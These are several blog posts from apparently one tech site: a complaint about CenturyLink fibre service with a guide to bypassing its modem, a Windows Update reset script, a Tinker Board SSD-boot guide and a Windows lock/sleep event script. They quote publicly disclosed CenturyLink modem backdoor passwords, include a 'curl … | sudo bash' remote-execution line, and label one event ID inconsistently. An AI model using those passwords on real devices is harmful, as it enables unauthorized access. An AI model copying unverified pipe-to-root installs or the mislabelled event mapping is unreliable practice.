seemed like they could finally be a reality. Dreams were quickly shattered when I realized what kind of incompetence and dishonesty I would be dealing with. Table of Contents Toggle OrderingFirst InstallationStatic IP Results – Installation #1Installation #2Static IP Attempt #2CenturyLink’s Unnecessary Backdoored Malware ModemBypassing ModemA Note About CenturyLink’s “Secure WiFi”My Personal CenturyLink Modem CollectionUpdate 7/9/20: Credit Score Change – Pulls from CenturyLinkUpdate 7/14/20: Account Migration Attempt Breaks Account (Service Disruption)Update 7/17/20 – Back Online (Where I Started) Ordering I checked to make sure static IPs were available through CenturyLink. Let’s check it out: Oh perfect, it looks like they definitely offer it! The one time charge is a little silly but assuming I will keep them for years it should still be worth it. Absolutely no indication here I won’t be able to get it with any CenturyLink provided service. I ordered the service right through CenturyLink’s web site for $65 a month with no taxes or additional charges with the qualification that I must enroll in autopay. Fast internet here we come! First Installation The first installation was professional and extremely well done. Just kidding. Check it out: A “UPS” installation being used as a power strip drilled into my wall with no battery There’s one of two things going on here. Either CenturyLink doesn’t install batteries on UPS units of customers who don’t have phones just to save a few bucks, or both of my techs took the batteries and sold them on eBay. That’s about it. If you have a phone installed an installation like this may violate code in your area, so if you’re a CenturyLink customer (sorry) I recommend you go out to your box and see if you have one of these. Bet you there’s a good chance you don’t! The UPS battery is there for service to keep running during power outages so it is a safety issue. This mostly impacts phone services but can definitely still help a lot with internet as well. You don’t want your equipment to go down with minor power fluctuations or if it’s only your house and the neighborhood is fine or if a breaker flips. People are relying more and more on VOIP for their phone which goes through your internet as well as other services like IP cameras that you want to keep protected and online especially if events are occurring that may cause power loss. Either buy your own battery for it off eBay or call CenturyLink and let them know you don’t appreciate them putting your safety at risk to save themselves a few bucks. CenturyLink PPPoE Modem And this right here is your actual modem. It is a ONT unit that interfaces with the fiber. If you open the inner panel you can see the fiber terminations although I would highly recommend leaving the inner part of it alone (unless you’re a fiber tech you can do no good in there, the connections can be very sensitive). You actually don’t need CenturyLink’s modem at all no matter how much their sales/tech staff tell you that you need it. All you need is a router that is capable of PPPoE dialing and tagging your traffic as vlan201 (this is how CenturyLink hides their traffic from normal devices from normal gateways like your router) and establishing a PPPoE connection. More on that later. Static IP Results – Installation #1 Here’s a link to CenturyLink’s static IP tool. Upon logging into the tool: CenturyLink Static IP Eligibility Denial Message Oh boy, what happened? Well it turns out CenturyLink has something called “SimplePay” which is what they wanted me to sign up for. The “benefit” of it is it’s a flat rate without the usual taxes and fees all telecoms tack on there. The downside? It’s completely outsourced 100% to India and considered a prepaid plan and a lower tier of service. It’s not eligible for static IPs. Gee, that would have been good to mention somewhere! Surely they can fix my account in the computer though right? Nope. To fix it you will need to call them again and they will need to do ANOTHER installation. This one won’t be free, it will cost you $99. You also get taxes and fees added on to the rate every month unlike the previous plan. Great. I did it anyways because I need the static IP block to do *anything* I wanted to do with this connection. They also left the line unburied. They said someone would come by in a couple of days to bury it. Nobody did. Installation #2 I don’t have any pictures to share about the second installation. Why? Because they didn’t do anything. Literally they did not do anything. We went to my basement and plugged in their new modem and he left. Then 5 minutes later I disconnected their new modem and put it back on my own. $99. On the upside, after the SECOND installation, they actually came back and buried my line! That’s something at least! Static IP Attempt #2 Surprised? So after spending about 5 hours on the phone getting my new account set up and confirming it is a “postpaid plan” I still can’t access the tool. It turns out CenturyLink ordered me something called a “webshop” account. What is a webshop account? Good question, I never bought the service at a webshop, CenturyLink chose it for me when I told them I needed to get on a plan that does static IP addresses. But they didn’t chose the right one. And guess what? They can’t fix this one in the computer either. They have to come install it again, and I will be charged $99 again. I will not be refunded for my previous installation. What did I pay for the second time they charged me and came out to install the service again? Nobody can tell me. CenturyLink’s Unnecessary Backdoored Malware Modem Now surely I must have lost my mind with this heading. It sounds like crazy cooky Alex Jones stuff to say that CenturyLink’s “modem” is backdoored and isn’t even necessary for the service to work. Nope. Afraid not. CenturyLink has a long and proud tradition of backdooring their modems and those backdoors being insecure and leaked out/discovered. I’ll just share with you some of the ones in the past few years but these go way back. Here’s some examples: ExploitDB #1 – 2017 – CenturyLink built in backdoor username: admin password: CenturyL1nk – boy they’ll never figure out that one and have unfettered backdoor access to my entire home! ExploitDB #2 – Same exploit for the common Zyxel modem Packetstorm #1 – Once you get in with the CenturyL1nk password you can change to root by using the password “zyad5001”. Great! Now if you think that the 2020 versions of these modems don’t just have a different more secure password and that CenturyLink doesn’t still have ROOT ACCESS to a hardware device in your dwelling and subsequently your network…. Bypassing Modem To do this you will need a router capable of vlan tagging and PPPoE connections. Note that some areas might not use vlan tagging as the router has an option to turn it off although I suspect this is pretty standard. If you have any doubts log into your CenturyLink modem and in your advanced WAN settings it will tell you if vlan tagging is enabled and which one they’re using. First you will need your PPPoE credentials. CenturyLink will give these to you (for now) if you call technical support. I had the tech give me them to me in person on the second install because they type them into your modem. It’s part of the 5 minute unnecessary setup and best I can tell is the only reason they insist they have to send a tech and charge you. These credentials will not be your normal username and password. In fact, it’s likely the email address is one you will have never seen before ending in @centurylink.net. They are special creds set up for you by CenturyLink to connect through the ONT device I showed earlier. Once you have that all you need to do is tag your WAN port as vlan201. For my home I used a Fortigate FG-30E which is my whole house firewall. These are enterprise grade devices and are quite expensive (especially with AV and IPS signature subscriptions) but newer higher end Linksys and Netgear and many other brands of routers also support basic vlan tagging now. If you have a newer router that cost more than $100 it probably has it. Just look up whether your current router supports vlan tagging and PPPoE addressing and if it does you already have everything you need. After tagging my WAN port with vlan201 I just let it retrieve everything else with PPPoE: Bypassing CenturyLink’s “Modem” w/ FortiGate FG-30E – set vlan201 on WAN Changed addressing mode to PPPoE and entered PPPoE credentials provided by CenturyLink tech support There you go. Bye bye backdoored modem/router! A Note About CenturyLink’s “Secure WiFi” My modem and these new modems apparently come with some built in service called “Secure WiFi”. This sounds like some really fancy technology that you wouldn’t want to give up! Well let’s take a little bit closer of a look here. This page gives us what little information CenturyLink will tell you about what exactly this is. Let’s take a look at an entry and see if we can figure out if this has any real value. How about the “Hoes does Secure WiFi work entry: Q: How does Secure WiFi work? A: Secure WiFi uses a McAfee powered technology called Global Threat Intelligence (GTI) to identify dangerous websites. The protection works as follows: GTI constantly monitors websites around the world for malicious and dangerous content. When malicious content is found on a website, GTI 'flags' the site as risky. When any of your devices attempt to visit a website, Secure WiFi checks that the website is not on the 'risky' list. If the website is risky, Secure WiFi stops the device from accessing that site and displays a warning page. Okay, so Secure WiFi is just basic web/IP filtering installed network wide and provided through McAfee’s service/list. This may actually have some value to regular Joe internet users as common botnet C&C sites and malware distribution sites will be on the list. It also means that CenturyLink tracks every connection you make it and sends it to a server to decide (and log) whether it’s going to allow you to connect. Do you trust them to keep that information safe and not sell it to third parties? This company tells you when you call their support phone number that they will sell your information for marketing and repair purposes unless you ask the agent to flag your call/account as not consenting. So for me the answer was obviously no, and so I was perfectly willing to go without this service, and in fact wanted to actively remove it. However, I wanted to mention that it is better protection than nothing and you should be aware that if you don’t secure your network in other ways you are giving something up even if it’s pretty basic in reality. In my case the Fortigate came with a year subscription of their professional web filtering service as well as active antivirus and IPS threat signatures, etc. so I knew I was protected in other ways. My Personal CenturyLink Modem Collection CenturyLink Tower of Shame This is the CenturyLink Tower of Shame. How many modems will I end up with before CenturyLink can figure out how static IP addresses work? How tall will the tower reach? Do you think they’ll bill me for all these modems even though I haven’t been asked to return them? Have you had a personal experience with this company like I have? Let me know! Update 7/9/20: Credit Score Change – Pulls from CenturyLink I received an alert from my bank that CenturyLink has now done what is called a “hard pull” on my credit twice for both of these postpaid plans. This can impact your credit score and I received an option to dispute it. They may pull it again if I actually have them go ahead with another $99 install that probably won’t get me anywhere again. This is just another warning and another thing to watch out for. Update 7/14/20: Account Migration Attempt Breaks Account (Service Disruption) I worked with an “Account Specialist” who attempted to migrate my account. To do this I had to cancel my current account and he placed an order to start the new account without calling a dispatch. Essentially he was trying to fix it in the computer without me having to pay another $99 and have another installation/modem. This technician finally figured out the reason I can’t access the CenturyLink static IP tool is that they are switching billing systems and their systems have not been updated to recognize the account #s from this new system. Their system is actually broken for new types of accounts and they have to attempt to migrate you. They said I need a “normal” account with a 10 digit account number to be recognized by the system. The Customer Advocacy group told me to ask for a “CRIS residential account migration”. I was rightfully very nervous at this point because they have tried so many things unsuccessfully. I’ve heard this kind of stuff from them before and it has never panned out. My main concern was that they would make it worse (ESPECIALLY since this hair-brained scheme involved cancelling my current working plan). The first sign of trouble was that a tech tried to contact me at 9 AM to do another install and had another modem. I refused this time as I was tired of paying the $99 and knew there was not supposed to be a dispatch. Sure enough at 5 PM my working account deactivated and my new account did not come online. I spent about 3 hours on the phone with CenturyLink and was told that my account was stuck in a “Pending” state because the tech flagged it as a cancellation. The solution? I would need to start completely over with a new order and another hard credit pull against my name. My account was so broken at this point they could not even schedule a tech to come and look at it because their system now showed that I had service at my address that was stuck in a broken state. My current status is I have been completely disconnected and have no internet at home for several days. I gave up and reordered the original prepaid “SimplePay” service I had for $65 a month and will come Thursday online through their web site. That was the only way I could get an install since they couldn’t order one for me with the “Pending” stuck account. Will update further! Update 7/17/20 – Back Online (Where I Started) CenturyLink came and installed the original prepaid $65 a month with no taxes or fees that I started with. I’m giving up as having no internet at home was pretty painful! #### The Nuclear Option: A PowerShell Script to Reset Windows Update Completely Fix Windows Update with PowerShell Windows Update breaks. Everyone knows this. Stuck update loops, error codes that don’t make sense, a client machine that hasn’t successfully installed patches in months. Microsoft’s official KB article for fixing Windows Update is a wall of 30+ manual steps. You have to stop services, rename folders, reset security descriptors, register DLLs, and restart everything in the correct order. I wrote a script that does all of it in one shot, and I’ve run it on hundreds of machines with consistent results. Here’s how it works and why each step matters. Table of Contents Toggle What the Script Does1. Registry Configuration2. Stop the Services3. Clear the Software Distribution FolderClear the Catroot2 Folder5. Re-register DLLs6. Reset Winsock and WinHTTP7. Clear BITS Queue8. Restart Services and Trigger DiscoveryThe Full ScriptWhen to Use This What the Script Does The full script is below. It performs nine distinct operations in order: 1. Registry Configuration First, the script ensures Windows Update is set to automatically download and install updates, and that it’s pointing at Microsoft not a WSUS server (which is a common cause of update failures after a GPO change): Set-ItemProperty -Path "HKLM:\Software\Policies\Microsoft\Windows\WindowsUpdate\AU" ` -Name 'AUOptions' -Value 4 -Verbose Set-ItemProperty -Path "HKLM:\Software\Policies\Microsoft\Windows\WindowsUpdate\AU" ` -Name 'UseWUServer' -Value 0 -Verbose It also removes any deferral settings and orphaned client IDs that can cause the update service to think it’s already registered elsewhere: Remove-ItemProperty -Path "HKLM:\Software\Policies\Microsoft\Windows\WindowsUpdate" ` -Name "DeferFeatureUpdate" -Verbose -ErrorAction SilentlyContinue Remove-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\WindowsUpdate" ` -Name AccountDomainSid, PingID, SusClientId, SusClientIDValidation ` -ErrorAction SilentlyContinue 2. Stop the Services You can’t safely rename or delete update-related folders while the services are running: Stop-Service -Name BITS -Force Stop-Service -Name wuauserv -Force Stop-Service -Name appidsvc -Force Stop-Service -Name cryptsvc -Force These four services are all part of the update pipeline. BITS handles the downloads, wuauserv is the client orchestrator, appidsvc applies AppID policies, and cryptsvc validates update signatures. 3. Clear the Software Distribution Folder The SoftwareDistribution folder contains downloaded update packages and the update client’s state database. Corrupt packages or a stale ESD database are the most common cause of update loops: Remove-Item $env:systemroot\SoftwareDistribution.bak -Recurse -Force -ErrorAction SilentlyContinue Rename-Item $env:systemroot\SoftwareDistribution SoftwareDistribution.bak -ErrorAction Continue Remove-Item $env:systemroot\SoftwareDistribution.bak -Recurse -Force -ErrorAction SilentlyContinue Remove-Item $env:systemroot\SoftwareDistribution -Recurse -Force -ErrorAction Continue Notice the pattern: try to delete the old .bak folder first, then rename the current folder to .bak, then delete the .bak, then try to delete the original path again. This handles the case where a previous partial run left a .bak folder behind. Clear the Catroot2 Folder Catroot2 stores the cryptographic signatures for downloaded updates. If this is corrupted, every update looks untrusted: Remove-Item $env:systemroot\System32\catroot2.bak -Recurse -Force -ErrorAction SilentlyContinue Rename-Item $env:systemroot\System32\Catroot2 catroot2.bak -ErrorAction Continue Remove-Item $env:systemroot\System32\catroot2.bak -Recurse -Force -ErrorAction SilentlyContinue Remove-Item $env:systemroot\System32\catroot2 -Recurse -Force -ErrorAction Continue certutil -urlcache * delete The certutil command clears the cached URL revocation data, which is a related certificate store that can cause “update signature invalid” errors. 5. Re-register DLLs The update service depends on roughly 35 COM and system DLLs. If any are unregistered (which can happen after a failed in-place Windows upgrade), the service starts but doesn’t function: regsvr32.exe /s atl.dll regsvr32.exe /s urlmon.dll regsvr32.exe /s mshtml.dll # ... 32 more DLLs regsvr32.exe /s wuwebv.dll regsvr32.exe /s bitsperf.dll The /s flag suppresses the per-DLL success message. If any fail, it logs to the event log rather than the console. 6. Reset Winsock and WinHTTP Network-level configuration can block update downloads even when the service is healthy: netsh winsock reset netsh winhttp reset proxy 7. Clear BITS Queue Any stuck BITS transfers would just fail again against the same broken state, so they get purged: Get-BitsTransfer | Remove-BitsTransfer 8. Restart Services and Trigger Discovery The final step restarts the four services and kicks off update discovery using both the legacy and modern clients: Start-Service -Name BITS Start-Service -Name wuauserv Start-Service -Name appidsvc Start-Service -Name cryptsvc wuauclt /resetauthorization /detectnow USOClient.exe RefreshSettings USOClient.exe StartScan USOClient.exe StartInteractiveScan Calling both wuauclt and USOClient covers Windows 10 and 11. Microsoft has been transitioning from the legacy Windows Update Agent to the Update Orchestrator, and both need a nudge. The Full Script # Fix-WindowsUpdate.ps1 - Reset Windows Update to a clean state "Setting Windows Update settings..." if (-Not (Test-Path "HKLM:\Software\Policies\Microsoft\Windows\WindowsUpdate\AU")) { New-Item -Path "HKLM:\Software\Policies\Microsoft\Windows\WindowsUpdate\AU" } Set-ItemProperty -Path "HKLM:\Software\Policies\Microsoft\Windows\WindowsUpdate\AU" -Name 'AUOptions' -Value 4 -Verbose -ErrorAction SilentlyContinue Set-ItemProperty -Path "HKLM:\Software\Policies\Microsoft\Windows\WindowsUpdate\AU" -Name 'AutomaticMaintenanceEnabled' -Value 1 -Verbose -ErrorAction SilentlyContinue Set-ItemProperty -Path "HKLM:\Software\Policies\Microsoft\Windows\WindowsUpdate\AU" -Name 'NoAutoUpdate' -Value 0 -Verbose -ErrorAction SilentlyContinue Set-ItemProperty -Path "HKLM:\Software\Policies\Microsoft\Windows\WindowsUpdate\AU" -Name 'UseWUServer' -Value 0 -Verbose -ErrorAction SilentlyContinue Set-ItemProperty -Path "HKLM:\Software\Policies\Microsoft\Windows\WindowsUpdate\AU" -Name 'AllowMUUpdateService' -Value 1 -Verbose -ErrorAction SilentlyContinue Remove-ItemProperty -Path "HKLM:\Software\Policies\Microsoft\Windows\WindowsUpdate" -Name "SetDisableUXWUAccess" -Verbose -ErrorAction SilentlyContinue Remove-ItemProperty -Path "HKLM:\Software\Policies\Microsoft\Windows\WindowsUpdate" -Name "ExcludeWUDriversInQualityUpdate" -Verbose -ErrorAction SilentlyContinue Remove-ItemProperty -Path "HKLM:\Software\Policies\Microsoft\Windows\WindowsUpdate" -Name "DeferFeatureUpdate" -Verbose -ErrorAction SilentlyContinue Remove-ItemProperty -Path "HKLM:\Software\Policies\Microsoft\Windows\WindowsUpdate" -Name "DeferQualityUpdate" -Verbose -ErrorAction SilentlyContinue Remove-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\WindowsUpdate" -Name AccountDomainSid, PingID, SusClientId, SusClientIDValidation -ErrorAction SilentlyContinue "Stopping Windows Update Services..." Stop-Service -Name BITS -Force Stop-Service -Name wuauserv -Force Stop-Service -Name appidsvc -Force Stop-Service -Name cryptsvc -Force "Renaming the Software Distribution Folder..." Remove-Item $env:systemroot\SoftwareDistribution.bak -Recurse -Force -ErrorAction SilentlyContinue Rename-Item $env:systemroot\SoftwareDistribution SoftwareDistribution.bak -ErrorAction Continue Remove-Item $env:systemroot\SoftwareDistribution.bak -Recurse -Force -ErrorAction SilentlyContinue Remove-Item $env:systemroot\SoftwareDistribution -Recurse -Force -ErrorAction Continue "Renaming the Catroot2 Folder..." Remove-Item $env:systemroot\System32\catroot2.bak -Recurse -Force -ErrorAction SilentlyContinue Rename-Item $env:systemroot\System32\Catroot2 catroot2.bak -ErrorAction Continue Remove-Item $env:systemroot\System32\catroot2.bak -Recurse -Force -ErrorAction SilentlyContinue Remove-Item $env:systemroot\System32\catroot2 -Recurse -Force -ErrorAction Continue "Reset certs..." certutil -urlcache * delete "Remove QMGR Data file..." Remove-Item "$Env:AllUsersProfile\Application Data\Microsoft\Network\Downloader\qmgr*.dat" -ErrorAction SilentlyContinue "Removing old Windows Update log..." Remove-Item $env:systemroot\WindowsUpdate.log -ErrorAction SilentlyContinue Set-Location $env:systemroot\system32 "Registering some DLLs..." regsvr32.exe /s atl.dll regsvr32.exe /s urlmon.dll regsvr32.exe /s mshtml.dll regsvr32.exe /s shdocvw.dll regsvr32.exe /s browseui.dll regsvr32.exe /s jscript.dll regsvr32.exe /s vbscript.dll regsvr32.exe /s scrrun.dll regsvr32.exe /s msxml.dll regsvr32.exe /s msxml3.dll regsvr32.exe /s msxml6.dll regsvr32.exe /s actxprxy.dll regsvr32.exe /s softpub.dll regsvr32.exe /s wintrust.dll regsvr32.exe /s dssenh.dll regsvr32.exe /s rsaenh.dll regsvr32.exe /s gpkcsp.dll regsvr32.exe /s sccbase.dll regsvr32.exe /s slbcsp.dll regsvr32.exe /s cryptdlg.dll regsvr32.exe /s oleaut32.dll regsvr32.exe /s ole32.dll regsvr32.exe /s shell32.dll regsvr32.exe /s initpki.dll regsvr32.exe /s wuapi.dll regsvr32.exe /s wuaueng.dll regsvr32.exe /s wuaueng1.dll regsvr32.exe /s wucltui.dll regsvr32.exe /s wups.dll regsvr32.exe /s wups2.dll regsvr32.exe /s wuweb.dll regsvr32.exe /s qmgr.dll regsvr32.exe /s qmgrprxy.dll regsvr32.exe /s wucltux.dll regsvr32.exe /s muweb.dll regsvr32.exe /s wuwebv.dll regsvr32.exe /s bitsperf.dll "Resetting the Winsock..." netsh winsock reset netsh winhttp reset proxy "Delete all BITS jobs..." Get-BitsTransfer | Remove-BitsTransfer "Starting Windows Update Services..." Start-Service -Name BITS Start-Service -Name wuauserv Start-Service -Name appidsvc Start-Service -Name cryptsvc "Forcing discovery..." wuauclt /resetauthorization /detectnow USOClient.exe RefreshSettings USOClient.exe StartScan USOClient.exe StartInteractiveScan "Process complete. Please reboot your computer." I have also uploaded the script onto GitHub as a gist here. When to Use This Run this when: Windows Update is stuck in a “Checking for updates…” loop You’re getting 0x80070002 or 0x800F0922 errors after an in-place upgrade A WSUS migration left machines pointing at a decommissioned server Always reboot after running the script. The Winsock reset and DLL re-registration don’t fully take effect until the next boot. #### Tinker Board SSD / USB Booting Guide Tinker Board SSD Booting Guide I recently wrote a getting started guide for the Tinker Board as even though the newer models tend to be quite expensive the older models can often be found for a lot cheaper. In this guide we are going to do something more advanced and are going to actually move our root filesystem to a SSD! I have the original variant (the Tinker Board 1 S) and that is what I will be using for this guide but this should work on all Tinker Boards (including models without the eMMC). The Tinker Board 2 will have faster performance as the USB ports are USB 3.0 vs. USB 2.0 on the original Tinker Board. If you don’t have the S model with the eMMC this method will require a sacrificial SD card to serve as the bootloader. This is an old method that I first covered for the Raspberry Pi before it supported native USB booting. I’ve also covered it here for the Orange Pi Zero 2. The SD card/eMMC serves as the bootloader but our root filesystem will be on the SSD. This is a fantastic method for any board that doesn’t natively support booting the OS from a USB storage device. Let’s begin! Table of Contents Toggle Hardware UsedPreparing OS ImagePreparing SSDCloning Installation to SSDChange SD card’s UUIDRun fsckReboot and VerifyTesting PerformanceConclusionOther Resources Hardware Used ASUS Tinker Board This is the original version of the Tinker Board. It contains a 1.8GHz Quad Core CPU, a 600MHz Mali-T764 GPU and 2GB DDR3 RAM. Less than half the cost of the new version (on Amazon) and still quite capable. Links: Amazon.com*, AliExpress.com* (S version) ASUS Tinker Board 2S This is the fully loaded and newest version version of the board containing a 16GB eMMC as well as 4 GB of RAM. It’s a 6-Core 2.0 GHz Rockchip RK3399 single board computer. Also has Bluetooth 5.0 capabilities. Links: Amazon.com*, AliExpress.com* StarTech 2.5″ SATA Adapter The StarTech USB 3.1 to 2.5″ SATA adapter is one I have recommended for many years for use with all kinds of devices including the Raspberry Pi, Orange Pi and Tinker Board. It’s widely compatible and works with gaming consoles as well. Links: Amazon.com*, Amazon.ca*, Amazon.com.au*, Amazon.co.jp*, Amazon.co.uk*, Amazon.de*, Amazon.es*, Amazon.fr*, Amazon.it*, Amazon.nl*, Amazon.pl*, Amazon.se*, Amazon.sg* Sabrent Powered USB Hub The Sabrent powered USB hub delivers a whopping 2.5A of dedicated power for your USB attached devices. It will easily power the most thirsty of setups such as NVMe enclosures. Links: Amazon.com*, Amazon.ca*, Amazon.com.au*, Amazon.co.uk*, Amazon.es*, Amazon.it*, Amazon.nl*, Amazon.pl*, Amazon.se* Note: Make sure Amazon doesn’t try to take you to the non-powered version and that it’s the one with the AC adapter that plugs in to provide extra power Preparing OS Image I highly recommend using Armbian as the default images from ASUS are pretty outdated and using very old kernels. We will start with a fully working installation on either your eMMC or your SD card. We will then clone this working installation to your SSD. Once we make a couple of configuration changes it will use eMMC/SD as the bootloader but your root filesystem will be on the SSD. Install your chosen OS and then log into it using the Tinker Board and fully update it with: sudo apt update && sudo apt full-upgrade Reboot to apply updates and then you’re ready to proceed. Preparing SSD Now we are going to connect your SSD to the Tinker Board. First we are going to completely remove all partitions from the drive so it’s completely blank. If you only have one drive plugged into the Tinker Board (and nothing else) this should be /dev/sda. sudo fdisk /dev/sda Now remove all partitions from the device. If you press “p” it will print out the partitions. Here’s an example on mine: root@linaro-alip:/dev# sudo fdisk /dev/sda Welcome to fdisk (util-linux 2.33.1). Changes will remain in memory only, until you decide to write them. Be careful before using the write command. Command (m for help): p Disk /dev/sda: 232.9 GiB, 250059350016 bytes, 488397168 sectors Disk model: CT250MX200SSD1 Units: sectors of 1 * 512 = 512 bytes Sector size (logical/physical): 512 bytes / 4096 bytes I/O size (minimum/optimal): 4096 bytes / 4096 bytes Disklabel type: dos Disk identifier: 0xe8ce0794 Device Boot Start End Sectors Size Id Type /dev/sda1 8192 483491839 483483648 230.6G 83 Linux Command (m for help): d Selected partition 1 Partition 1 has been deleted. Command (m for help): w The partition table has been altered. Failed to remove partition 1 from system: Device or resource busy The kernel still uses the old partitions. The new table will be used at the next reboot. Syncing disks. Even though I got the device was busy error after unplugging and replugging the SSD the partition table was clear. Once the drive is all cleared off you’re ready for the next step. Cloning Installation to SSD We’re now ready to clone your installation to the SSD. Whether you are using the SD card or eMMC the root filesystem should currently be /dev/mmcblk0. We can now copy your drive to the SSD with the following command: cat /dev/mmcblk0 > /dev/sda Wait for the operation to complete (there won’t be any output but you will have a cursor again and be able to type new commands). If you are having any trouble with permissions try becoming “root” first with: sudo su Now try running the command again and as the superuser you should not encounter any permission errors. Change SD card’s UUID Now unplug the SSD and plug it back in. We need to change our eMMC/SD card’s UUID so that it doesn’t try to boot from that partition. We can set it to a random one with the following command: sudo tune2fs -O metadata_csum_seed -U random /dev/mmcblk0p1 We can verify that it has changed with blkid like this: root@tinkerboard:/boot# sudo blkid /dev/mmcblk0p1: LABEL="armbi_root" UUID="5df8ce50-c757-4c6d-9d08-b1fe646ada7f" BLOCK_SIZE="4096" TYPE="ext4" PARTUUID="a48b971e-01" /dev/zram0: UUID="6f2bb524-e165-4610-a944-9af0ed295bdb" TYPE="swap" /dev/zram1: LABEL="log2ram" UUID="40c10aef-ce36-4dd2-89cf-43d49a77a104" BLOCK_SIZE="4096" TYPE="ext4" /dev/sda1: LABEL="armbi_root" UUID="d4f3fb44-5aa5-49f2-83c4-159fd7f2c2aa" BLOCK_SIZE="4096" TYPE="ext4" PARTUUID="a48b971e-01" Notice that /dev/sda1 and /dev/mmcblk0p1 no longer have matching UUIDs. This is exactly what we want. Run fsck Before we reboot run e2fsck on the drive like this: sudo e2fsck -yf /dev/sda1 This will prevent you from having to run fsck on the CLI the first time you try to boot. Reboot and Verify Now reboot the Tinker Board with: sudo reboot With any luck you should be booted using your SSD! We can verify this with the mount command like this: root@tinkerboard:~# mount /dev/sda1 on / type ext4 (rw,noatime,errors=remount-ro,commit=600) /dev/sda1 on /var/log.hdd type ext4 (rw,noatime,errors=remount-ro,commit=600) /dev/zram1 on /var/log type ext4 (rw,relatime,discard) Here we can see that our root partition (/) is indeed on /dev/sda and not /dev/mmcblk0. Success! Testing Performance You can verify the performance of your SSD on Pi Benchmarks using the following command: sudo curl https://raw.githubusercontent.com/TheRemote/PiBenchmarks/master/Storage.sh | sudo bash I ran the benchmark with full knowledge that we were using USB 2.0 and were going to be limited in our score. If you have the Tinker Board 2 then you will likely score significantly higher than me: Here are the results: Category Test Result HDParm Disk Read 34.14 MB/s HDParm Cached Disk Read 34.33 MB/s DD Disk Write 32.2 MB/s FIO 4k random read 2658 IOPS (10633 KB/s) FIO 4k random write 2661 IOPS (10647 KB/s) IOZone 4k read 10661 KB/s IOZone 4k write 10659 KB/s IOZone 4k random read 10611 KB/s IOZone 4k random write 10663 KB/s Score: 2,406 You may view the full benchmark for the Tinker Board on Pi Benchmarks here. To give some context here the maximum score you can achieve over USB 2.0 is something around 2500-2600 points. This is true on Raspberry Pi Model 3s and older which only have USB 2.0 ports. They also max out around the same score. This is about twice as fast as even the most expensive/fast application class SD cards. That means it is absolutely worth it to use a SSD with the Tinker Board and even more so with the Tinker Board 2! Conclusion This will give your Tinker Board a pretty big I/O speed boost and access to much higher performance/capacity storage than the eMMC or SD cards will allow. You can use either the eMMC or the SD card as the bootloader for this method and your rootfs will be stored on the SSD! Other Resources Don’t miss my Tinker Board Getting Started Guide if you haven’t already seen it The Orange Pi Zero 2 is a great a relatively inexpensive SBC if you are looking for Raspberry Pi alternatives If you are after screaming fast I/O speeds the ODROID M1 actually has a real M.2 NVMe slot! #### Tracking User Lock, Unlock, and Sleep Events with PowerShell Auditing External File Sharing in Microsoft 365 with PowerShell A user reports their workstation keeps going to sleep “on its own.” Or someone claims they never left their desk, yet the session clearly disconnected. Answering these questions means digging through the Windows event log and correlating events across Security and System logs into one timeline. This script pulls seven distinct event IDs from two different logs, merges them chronologically, and outputs a readable sequence of what happened and when. Table of Contents Toggle The Events That MatterPulling Events from Both LogsMerging and SortingTranslating Event IDs to Human LanguageThe Full ScriptCommon Patterns You’ll SeeRunning RemotelyWhen to Use This The Events That Matter Windows logs lock/unlock/sleep activity across two providers. You need both to get the full picture: Event IDLogMeaning4800SecuritySession locked4801SecuritySession unlocked4802SecurityScreen saver started4803SecurityScreen saver dismissed4779SecurityUser session reconnected4647SecurityUser initiated logoff42SystemSystem entered sleep/hibernate107SystemSystem awoken Events 4800 and 4801 are the most commonly referenced, but they only tell half the story. Event 42 and 107 from the System log fill in the sleep/resume gap, and 4802/4803 show when the screen saver kicked in (which often means inactivity long before the lock). Pulling Events from Both Logs The script uses Get-WinEvent twice (once per log) with a filter hashtable to limit the query to the relevant IDs and a time window: $startTime = (Get-Date).AddDays(-3) $securityEvents = Get-WinEvent -FilterHashtable @{ LogName = 'Security' ID = 4800, 4801, 4802, 4803, 4779, 4647 StartTime = $startTime } $systemEvents = Get-WinEvent -FilterHashtable @{ LogName = 'System' ID = 42, 107 StartTime = $startTime } The filter hashtable runs at the OS level. Windows filters the events before returning them, not after. This is significantly faster than piping through Where-Object, especially on logs with millions of entries. Adjust the -3 to whatever window you need. Merging and Sorting Both calls return System.Diagnostics.Eventing.Reader.EventLogRecord objects, which share a TimeCreated property. That makes merging straightforward: $allEvents = ($securityEvents + $systemEvents) | Sort-Object TimeCreated The + operator concatenates the arrays, and Sort-Object orders everything chronologically regardless of which log it came from. Translating Event IDs to Human Language A switch statement converts each numeric ID to a readable description: foreach ($e in $allEvents) { $msg = switch ($e.Id) { 4800 { "Locked" } 4801 { "Unlocked" } 4802 { "Screensaver started" } 4803 { "Screensaver dismissed" } 4779 { "Session disconnected" } 4647 { "User initiated logoff" } 42 { "System entered sleep" } 107 { "System resumed from sleep" } default { "Unknown" } } [PSCustomObject]@{ Time = $e.TimeCreated EventID = $e.Id Source = $e.ProviderName Message = $msg } } The output is a clean timeline like: Time EventID Source Message ---- ------- ------ ------- 04/24/2026 08:31 107 Kernel-Power System resumed from sleep 04/24/2026 08:32 4801 Microsoft-Windows-Security-Auditing Unlocked 04/24/2026 12:04 4800 Microsoft-Windows-Security-Auditing Locked 04/24/2026 17:15 4800 Microsoft-Windows-Security-Auditing Locked 04/24/2026 17:45 42 Kernel-Power System entered sleep 04/24/2026 18:02 107 Kernel-Power System resumed from sleep 04/24/2026 18:03 4801 Microsoft-Windows-Security-Auditing Unlocked The Full Script $startTime = (Get-Date).AddDays(-3) $securityEvents = Get-WinEvent -FilterHashtable @{ LogName = 'Security' ID = 4800, 4801, 4802, 4803, 4779, 4647 StartTime = $startTime } $systemEvents = Get-WinEvent -FilterHashtable @{ LogName = 'System' ID = 42, 107 StartTime = $startTime } $allEvents = ($securityEvents + $systemEvents) | Sort-Object TimeCreated foreach ($e in $allEvents) { $msg = switch ($e.Id) { 4800 { "Locked" } 4801 { "Unlocked" } 4802 { "Screensaver started" } 4803 { "Screensaver dismissed" } 4779 { "Session disconnected" } 4647 { "User initiated logoff" } 42 { "System entered sleep" } 107 { "System resumed from sleep" } default { "Unknown" } } [PSCustomObject]@{ Time = $e.TimeCreated EventID = $e.Id Source = $e.ProviderName Message = $msg } } I’ve also put this script on GitHub as a gist here. Common Patterns You’ll See Screen saver lock, not user lock: If you see event 4802 (screensaver started) followed by 4800 (locked) with no 4801 in between, the screensaver lock timer fired (the user didn’t press Win+L). Unexpected sleep: Event 42 with no preceding 4800 or 4647 means the system went to sleep without the user locking or logging off first. Usually points to a power plan setting or a group policy override. 